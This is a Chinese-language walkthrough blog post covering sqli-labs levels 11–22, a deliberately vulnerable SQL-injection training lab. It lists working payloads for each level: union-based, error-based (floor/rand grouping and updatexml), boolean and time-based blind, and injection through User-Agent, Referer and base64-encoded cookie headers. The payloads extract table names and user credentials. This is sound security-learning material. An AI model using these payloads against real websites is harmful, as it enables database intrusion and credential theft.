通过sql-labs进行sql注入学习(11-22)
前言:
SQL注入是入門web安全的基礎(chǔ),所以得仔細(xì)學(xué)習(xí)SQL注入。
從十一關(guān)開始便是POST請(qǐng)求,這次從第十一關(guān)來(lái)做
第11關(guān)
嘗試萬(wàn)能密碼' or 1=1#,有回顯,看來(lái)是單引號(hào)閉合,抓包進(jìn)行操作,還是回顯注入,不過是從GET方式變成了POST方式。
payload:
判斷列數(shù) uname=' order by 1,2,3# 查找數(shù)據(jù)庫(kù) uname=' union select 1,database()# 查表 uname=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 爆字段 uname=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+ 爆值 uname=' union select 1,group_concat(username,0x3a,password) from users --+源碼分析:
源碼中的SQL語(yǔ)句直接是通關(guān)單引號(hào)閉合,并沒有任何防護(hù),所以會(huì)產(chǎn)生這樣的問題
第12關(guān)
輸入雙引號(hào)發(fā)現(xiàn)報(bào)錯(cuò)信息
所以很容易就可以判斷出閉合符號(hào)為"),其他就沒有任何變化了,和第十一關(guān)一樣的姿勢(shì)
這里就列一個(gè)payload:
爆字段 uname=") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+源碼分析
分析源碼便可發(fā)現(xiàn)這里只不過是使用$uname='"'.$uname'."',輸入的參數(shù)閉合符號(hào)為",再拼接到$sql語(yǔ)句中,發(fā)現(xiàn)$uname前面還有一個(gè)(,所以這里拼接的閉合符號(hào)為"),但也僅限于此了,并沒有其他防護(hù)。
第13關(guān)
測(cè)試',發(fā)現(xiàn)報(bào)錯(cuò)信息
通過這句話便可以判斷出閉合符號(hào)為'),第十三關(guān)和之前不同的就是沒有回顯,但是還有報(bào)錯(cuò)信息,所以可以進(jìn)行報(bào)錯(cuò)注入,同樣還是先判斷列數(shù)等
爆數(shù)據(jù)庫(kù)
uname=') union select 1,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+
爆數(shù)據(jù)表
爆字段值
uname=') Union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
爆值
源碼分析
源碼只是更改了注入成功時(shí)不輸出不再回顯,其他只是更改了')作為閉合符號(hào)。
第14關(guān)
測(cè)試出閉合符號(hào)為",類型和第十三題一樣,同為報(bào)錯(cuò)注入
payload:
uname=1" union select 1,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+源碼分析
與十三關(guān)大致相同,不多做解釋了
第十五關(guān)
當(dāng)輸入uname=1' or 1=1#,發(fā)現(xiàn)頁(yè)面顯示成功
說(shuō)明閉合符號(hào)為',這關(guān)沒有報(bào)錯(cuò)信息也沒有回顯,就可以考慮布爾盲注和時(shí)間盲注了
布爾盲注
uname=1' or ascii(substr((database()),1,1))>115#&passwd=123&submit=Submit uname=1' or ascii(substr((database()),1,1))=115#&passwd=123&submit=Submit通關(guān)測(cè)試便可以發(fā)現(xiàn),數(shù)據(jù)庫(kù)第一個(gè)字符為S,利用這樣的方法便可猜解出其他字符
時(shí)間盲注
uname=1' or if((ascii(substr(database(),1,1)))>100,1,sleep(10))#通過利用if語(yǔ)句和sleep函數(shù),來(lái)檢測(cè)字符的ascll范圍,如果不符合要求,響應(yīng)便會(huì)延遲10秒,以此來(lái)猜解出數(shù)據(jù)庫(kù)名。
源碼分析
將報(bào)錯(cuò)信息和回顯信息都已注釋掉,所以只能通過盲注或時(shí)間盲注來(lái)做
SQL語(yǔ)句還和之前的一樣,并沒有多大的變化,沒有太大的防護(hù)
第16關(guān)
利用uname=1") or 1=1#測(cè)試發(fā)現(xiàn),顯示成功,閉合符號(hào)為“),其他沒什么變化,和第15關(guān)一樣,同樣的姿勢(shì),更改payload中的閉合符號(hào)即可,不多敘述
第17關(guān)
從第17關(guān)開始,發(fā)現(xiàn)頁(yè)面發(fā)生一些變化,應(yīng)該有新姿勢(shì)要學(xué)習(xí)了
構(gòu)造uname沒有結(jié)果,嘗試passwd,輸入單引號(hào)時(shí),發(fā)現(xiàn)出現(xiàn)報(bào)錯(cuò)信息,嘗試Xpath報(bào)錯(cuò),發(fā)現(xiàn)確實(shí)可以,那下面就簡(jiǎn)單多了,直接爆數(shù)據(jù)庫(kù)、表等
爆數(shù)據(jù)庫(kù)
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit
爆數(shù)據(jù)表
爆字段
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)#&submit=Submit爆值
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit前面的都沒有什么問題,但到爆值時(shí),發(fā)現(xiàn)
查了下百度,發(fā)現(xiàn):
mysql中You can't specify target table for update in FROM clause錯(cuò)誤的意思是說(shuō),不能先select出同一表中的某些值,再update這個(gè)表(在同一語(yǔ)句中)
參考文章
需要再在外面加一層select即可解決
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username from users)c limit 0,1),0x7e),1)#&submit=Submit源碼分析
根本就沒有提交uname,難怪沒有反應(yīng)
第18關(guān)
這次來(lái)一個(gè)IP地址,看來(lái)又可以學(xué)到新姿勢(shì)了
猜想應(yīng)該是head頭注入,但是就是沒有回顯,無(wú)奈之下,用戶名和密碼下瞎輸入uname=admin&passwd=123,發(fā)現(xiàn):
這。。。。。必須登陸成功才能顯示出報(bào)錯(cuò)信息
有了報(bào)錯(cuò)信息,可以用第17關(guān)的Xpath報(bào)錯(cuò)
輸入U(xiǎn)ser-Agent: 1',發(fā)現(xiàn)報(bào)錯(cuò)信息
嘗試User-Agent: 1' or 1=1#,回顯結(jié)果為:
利用User-Agent: 1' or '1'='1,發(fā)現(xiàn)回顯成功,閉合方式找到了,那payload就可以參照第17關(guān)的
爆出數(shù)據(jù)庫(kù)
下面的和第17關(guān)就大差不差了
源碼分析
function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,20);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}
有一個(gè)檢測(cè)輸入的函數(shù),簡(jiǎn)單審計(jì)一下代碼
使用substr函數(shù)限制了長(zhǎng)度,如果輸入的不是都是數(shù)字則mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 字符串中的特殊字符,將單引號(hào)給過濾所以我們按照常規(guī)的方法無(wú)法做出了,只能先登陸后通過User-Agent進(jìn)行注入
第19關(guān)
和第十八關(guān)類似,不過這次注入點(diǎn)存在于Referer
測(cè)試閉合符號(hào)還是Referer: 1' or '1'='1,那應(yīng)該還是可以利用Xpath報(bào)錯(cuò)
payload:
Referer: 1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1源碼分析
其他防護(hù)代碼和之前一樣,只不過插入語(yǔ)句發(fā)生一點(diǎn)變化
第20關(guān)
之后的題應(yīng)該都是先弱口令登入,才能查到一些信息,這關(guān)也需要先登陸,登陸之后便可以查看到
與COOKIE有關(guān),抓包嘗試注入
嘗試出閉合符號(hào)
還是利用Xpath報(bào)錯(cuò)
payload:
其他姿勢(shì)就跟上一關(guān)一樣了,不再敘述了
源碼分析
只設(shè)置了uname的cookie,其他也就沒什么可分析的
第21關(guān)
抓包發(fā)現(xiàn)cookie中uname=YWRtaW4,解碼為admin
提示還是cookie,那就還利用上一關(guān)的payload,base64加密傳入即可
第22關(guān)
單引號(hào)變成雙引號(hào)即可,還是一樣的payload,base64加密即可
payload:
總結(jié)
這次就先打到這里,又學(xué)習(xí)到許多新的繞過姿勢(shì),繼續(xù)學(xué)習(xí)!
總結(jié)
以上是生活随笔為你收集整理的通过sql-labs进行sql注入学习(11-22)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BUUCTF web(一)
- 下一篇: XML外部实体注入